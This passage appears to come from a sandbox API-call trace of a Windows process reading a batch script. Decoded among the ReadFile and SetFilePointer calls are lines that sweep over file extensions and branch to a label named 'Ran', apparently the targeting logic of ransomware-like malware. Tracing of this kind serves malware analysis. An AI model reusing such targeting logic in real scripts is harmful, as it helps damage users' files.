lpOverlapped=0x0) returned 1 [0037.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x195 [0037.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.png goto png\r\n") returned 2 [0037.563] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x195 [0037.563] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.563] GetFileType (hFile=0x74) returned 0x1 [0037.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x195 [0037.564] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.564] SetFilePointer (in: hFile=0x74, lDistanceToMove=430, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae [0037.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.htm goto htm\r\n") returned 25 [0037.564] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.564] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae [0037.564] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.564] GetFileType (hFile=0x74) returned 0x1 [0037.564] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae [0037.564] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.564] SetFilePointer (in: hFile=0x74, lDistanceToMove=432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b0 [0037.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.htm goto htm\r\n") returned 2 [0037.564] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.564] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b0 [0037.564] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.564] GetFileType (hFile=0x74) returned 0x1 [0037.564] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b0 [0037.564] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.565] SetFilePointer (in: hFile=0x74, lDistanceToMove=459, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb [0037.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.html goto html\r\n\n") returned 27 [0037.565] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.565] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb [0037.565] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.565] GetFileType (hFile=0x74) returned 0x1 [0037.565] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb [0037.565] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.565] SetFilePointer (in: hFile=0x74, lDistanceToMove=461, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd [0037.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.html goto html\r\n") returned 2 [0037.565] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.565] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd [0037.565] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.565] GetFileType (hFile=0x74) returned 0x1 [0037.565] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd [0037.565] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.565] SetFilePointer (in: hFile=0x74, lDistanceToMove=486, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6 [0037.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.url goto url\r\n\r\n") returned 25 [0037.565] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6 [0037.566] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.566] GetFileType (hFile=0x74) returned 0x1 [0037.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6 [0037.566] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=511, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ff [0037.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.gif goto gif\r\n") returned 25 [0037.566] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ff [0037.566] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.566] GetFileType (hFile=0x74) returned 0x1 [0037.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ff [0037.566] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0037.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.gif goto Ran\r\nq\r\n") returned 29 [0037.566] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0037.567] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.567] GetFileType (hFile=0x74) returned 0x1 [0037.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0037.567] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=569, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x239 [0037.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.url goto Ran\r\n") returned 29 [0037.567] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x239 [0037.567] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.567] GetFileType (hFile=0x74) returned 0x1 [0037.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x239 [0037.567] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=598, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x256 [0037.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.zip goto Ran\r\n") returned 29 [0037.567] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x256 [0037.567] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.567] GetFileType (hFile=0x74) returned 0x1 [0037.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x256 [0037.568] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.568] SetFilePointer (in: hFile=0x74, lDistanceToMove=600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x258 [0037.568] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.zip goto Ran\r\n") returned 2 [0037.568] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.568] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x258 [0037.568] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.568] GetFileType (hFile=0x74) returned 0x1 [0037.568] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x258 [0037.568] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.568] SetFilePointer (in: hFile=0x74, lDistanceToMove=629, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x275 [0037.568] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.rar goto Ran\r\n") returned 29 [0037.568] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.568] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x275 [0037.568] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.568] GetFileType (hFile=0x74) returned 0x1 [0037.568] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x275 [0037.568] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.568] SetFilePointer (in: hFile=0x74, lDistanceToMove=631, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x277 [0037.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.rar goto Ran\r\n") returned 2 [0037.569] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.569] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x277 [0037.569] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.569] GetFileType (hFile=0x74) returned 0x1 [0037.569] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x277 [0037.569] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.569] SetFilePointer (in: hFile=0x74, lDistanceToMove=660, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x294 [0037.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.ink goto Ran\r\n") returned 29 [0037.569] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.569] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x294 [0037.569] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.569] GetFileType (hFile=0x74) returned 0x1 [0037.569] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x294 [0037.569] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.569] SetFilePointer (in: hFile=0x74, lDistanceToMove=662, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x296 [0037.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.ink goto Ran\r\n") returned 2 [0037.569] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.569] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x296 [0037.570] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.570] GetFileType (hFile=0x74) returned 0x1 [0037.570] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x296 [0037.570] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.570] SetFilePointer (in: hFile=0x74, lDistanceToMove=691, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2b3 [0037.570] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.txt goto Ran\r\n") returned 29 [0037.570] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.570] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b3 [0037.570] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.570] GetFileType (hFile=0x74) returned 0x1 [0037.570] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b3 [0037.570] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.570] SetFilePointer (in: hFile=0x74, lDistanceToMove=693, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5 [0037.570] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.txt goto Ran\r\n") returned 2 [0037.570] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.570] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5 [0037.570] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.571] GetFileType (hFile=0x74) returned 0x1 [0037.571] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b5 [0037.571] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.571] SetFilePointer (in: hFile=0x74, lDistanceToMove=722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2 [0037.571] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.pdf goto Ran\r\n") returned 29 [0037.571] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.571] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2 [0037.571] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.571] GetFileType (hFile=0x74) returned 0x1 [0037.571] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2 [0037.571] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.571] SetFilePointer (in: hFile=0x74, lDistanceToMove=751, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2ef [0037.571] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.vbs goto Ran\r\n") returned 29 [0037.571] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.571] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2ef [0037.572] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.572] GetFileType (hFile=0x74) returned 0x1 [0037.572] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2ef [0037.572] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.572] SetFilePointer (in: hFile=0x74, lDistanceToMove=753, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f1 [0037.572] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.vbs goto Ran\r\n") returned 2 [0037.572] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.572] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f1 [0037.572] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.572] GetFileType (hFile=0x74) returned 0x1 [0037.572] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f1 [0037.572] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.572] SetFilePointer (in: hFile=0x74, lDistanceToMove=783, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x30f [0037.572] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=30, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.docx goto Ran\r\n\r\n") returned 30 [0037.572] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.572] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x30f [0037.572] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.572] GetFileType (hFile=0x74) returned 0x1 [0037.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x30f [0037.573] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=785, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x311 [0037.573] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.docx goto Ran\r\n") returned 2 [0037.573] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x311 [0037.573] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.573] GetFileType (hFile=0x74) returned 0x1 [0037.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x311 [0037.573] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=814, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x32e [0037.573] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.doc goto Ran\r\n\n") returned 29 [0037.573] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x32e [0037.573] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.573] GetFileType (hFile=0x74) returned 0x1 [0037.573] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x32e [0037.573] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.574] SetFilePointer (in: hFile=0x74, 